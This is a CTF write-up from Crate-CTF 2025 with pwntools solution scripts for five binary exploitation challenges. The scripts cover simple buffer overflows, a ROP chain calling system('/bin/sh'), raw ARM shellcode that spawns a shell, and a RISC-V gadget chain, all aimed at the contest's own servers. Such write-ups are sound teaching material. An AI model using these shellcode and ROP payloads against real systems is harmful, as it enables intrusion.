team-logo
Published on

Crate-CTF 2025 - PWN challenges

Authors

Introduction

On November 15, an online Swedish CTF took place that lasted only 8 hours. It was aimed at beginners and Swedes, but people from all over the world could participate. The challenges were quite interesting and varied. A downside of this CTF was that most texts, or at least half, were in Swedish. Still, it was worth joining. I’m describing the PWN tasks here, although other categories were also explored. More information here. pwn-all

Kan man verkligen ändra sig?

Writeup author: kerszi

A very easy task, the basics of the basics. It was so simple that ChatGPT solved it in a minute, but that is not the point; the point is to learn something, right? just simple buffer overflow with teaching. pwn-1
solution.py
from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root

HOST="nc challs.crate.nu 21571"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

payload  = b"A" * 8        # buffer
payload += b"\x01\x00\x00\x00"   # changeme != 0xAAAAAAAA

p.sendline(payload)

p.interactive()

cratectf{this_is_why_we_need_buffer_overflow_protections}

Kan man verkligen ändra sig? 2

pwn-2

Writeup author: kerszi

This task was just as simple as the first one. ChatGPT solved it quickly.

solution.py
from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 

context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root

HOST="nc challs.crate.nu 21572"
ADDRESS,PORT=HOST.split()[1:]


BINARY_NAME="./chall"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

payload  = b"A"*8             # buffer
payload += p32(0x12345678)    # little endian: 78 56 34 12

p.sendline(payload)

p.interactive()

cratectf{surely_this_cannot_be_used_to_execute_code?_right?}

Datum-tjänst

pwn-3

Writeup author: kerszi

This task finally required some thinking ;) ChatGPT couldn’t handle it (hooray, finally). The Swedish locale was also an obstacle, because locally my first exploit worked. But I then approached it a bit differently and it worked for me remotely… The solution seems simple, but try to solve it without the solution.

solution.py
from pwn import *             

context.log_level = 'warning' 
context.update(arch='x86_64', os='linux') 
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root

HOST="nc challs.crate.nu 47192"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./main"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

bin_sh=next(binary.search(b'/bin/sh'))


bin_sh=0x49c5a5
rop=ROP(binary)
pop_rdi=rop.find_gadget(["pop rdi","ret"])[0]
syscall=rop.find_gadget(["syscall"])[0]

system=0x0000000000402fec #main <+199>:   call   0x406ad0 <system>

ropy = flat(    
    pop_rdi,
    bin_sh,
    system
)

if args.REMOTE:
    p = remote(ADDRESS,PORT)    
else:
    p = process(binary.path)    

payload=b'1'+b'\x00'+14*b'1'+ropy


p.sendlineafter(b'mna',payload)
p.interactive()

cratectf{snyggt_skal_där}

Armsdealer

pwn-4

Writeup author: kerszi

This challenge, as the name suggests, involved ARM processors including 32-bit ones. I didn’t have much experience with this hardware, even though I set up a Raspberry Pi with Ubuntu. With the help of ChatGPT, I finally solved the task. Its assistance was useful, but you still need to know what to ask for.

solution.py
from pwn import *             

context.log_level = 'warning' 

HOST = "challs.crate.nu"
PORT = 47202

shellcode = (
    b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
    b"\x78\x46\x0e\x30\x01\x90\x49\x1a"
    b"\x92\x1a\x08\x27\xc2\x51\x03\x37"
    b"\x01\xdf\x2f\x62\x69\x6e\x2f\x2f"
    b"\x73\x68"
)

gadget_bx_r3 = 0x00010100  # 'bx r3'

# [0..63]   -> shellcode (dopchany do 64 bajtów)
# [64..67]  -> fake FP
# [68..71]  -> LR = gadget 'bx r3'
payload  = shellcode.ljust(64, b'A')
payload += b'BBBB'
payload += p32(gadget_bx_r3)

p = remote(HOST, PORT)
p.sendline(payload)
p.interactive()

cratectf{shellkod_i_mitt_program!?_skulle_aldrig_tillåtas}

Riscy Business 2

pwn-5

Writeup author: Grzechu

As the name suggests, the program targets RISC-V processors. I didn’t have much hands-on experience with them, but everything is similar enough that you can manage even unfamiliar CPUs. I struggled with this task for a long time, ran gdb-multiarch and tried all sorts of tricks, but couldn’t make it work. This challenge was solved by Chat-Grzesiek ;)

solution.py
from pwn import *

# Konfiguracja pwntools
context.arch = "riscv64"
context.endian = "little"
context.log_level = "info"

# Ścieżka do lokalnej binarki (jak chcesz testować z qemu)
BIN_PATH = "./riscy_business2"

# Stałe z analizy
OFFSET_RA = 264

GADGET_POP_S0_S1_S2_RA = 0x2e026  # epilog _dl_allocate_tls_storage
WIN_ENV_BLOCK             = 0x106ae  # środek win: auipc a0,... (getenv("FLAG") itd.)

VAL_S0 = 123
VAL_S1 = 321
VAL_S2 = 2

HOST = "challs.crate.nu"
PORT = 40002


def build_payload():
    """
    Buduje finalny payload:
    [pad 264 bajty] +
    [overwrite RA -> gadget] +
    [na nowym sp (sp+272):
       0x00: s2 = 2
       0x08: s1 = 321
       0x10: s0 = 123
       0x18: ra = WIN_ENV_BLOCK
    ]
    """
    padding = b"A" * OFFSET_RA

    # Nadpisany ra w main → nasz gadżet
    frame_ra = p64(GADGET_POP_S0_S1_S2_RA)

    # Dane, które gadżet odczyta spod nowego sp
    # sp_new = sp_old + 272, a gadżet:
    #   ld s2,0(sp)
    #   ld s1,8(sp)
    #   ld s0,16(sp)
    #   ld ra,24(sp)
    rop_tail  = p64(VAL_S2)          # [sp+0]  -> s2
    rop_tail += p64(VAL_S1)          # [sp+8]  -> s1
    rop_tail += p64(VAL_S0)          # [sp+16] -> s0
    rop_tail += p64(WIN_ENV_BLOCK)   # [sp+24] -> ra (wejście w win)

    payload = padding + frame_ra + rop_tail
    return payload


def exploit_remote():
    io = remote(HOST, PORT)

    # Oczekiwany prompt: "Hello again, what's your name?\n> "
    line = io.recvuntil(b"> ", drop=False)
    log.info(f"Banner/prompt: {line.strip()}")

    payload = build_payload()
    log.info(f"Payload length = {len(payload)} bytes")

    # scanf("%s", buf) – trzeba zakończyć whitespace, więc dodajemy '\n'
    io.sendline(payload)

    # Przechodzimy w tryb interaktywny – powinna się wypisać flaga z win()
    io.interactive()


def exploit_local():
    """
    Opcjonalny helper do testów lokalnych z qemu-riscv64.
    Uruchom:
        qemu-riscv64 ./riscy_business2
    lub
        process(["qemu-riscv64", BIN_PATH])
    """
    io = process(["qemu-riscv64", BIN_PATH])

    line = io.recvuntil(b"> ", drop=False)
    log.info(f"Local prompt: {line.strip()}")

    payload = build_payload()
    log.info(f"Payload length = {len(payload)} bytes")

    io.sendline(payload)
    io.interactive()


if __name__ == "__main__":
    # Domyślnie atakujemy zdalnie; jak chcesz lokalnie, odkomentuj exploit_local()
    exploit_remote()
    # exploit_local()

cratectf{ojojoj_funktionsepiloger_är_ju_sig_lika}

Bonus

Optionally, You can find all resources to tests: https://github.com/MindCraftersi/ctf/tree/main/2025/Crate-CTF/pwn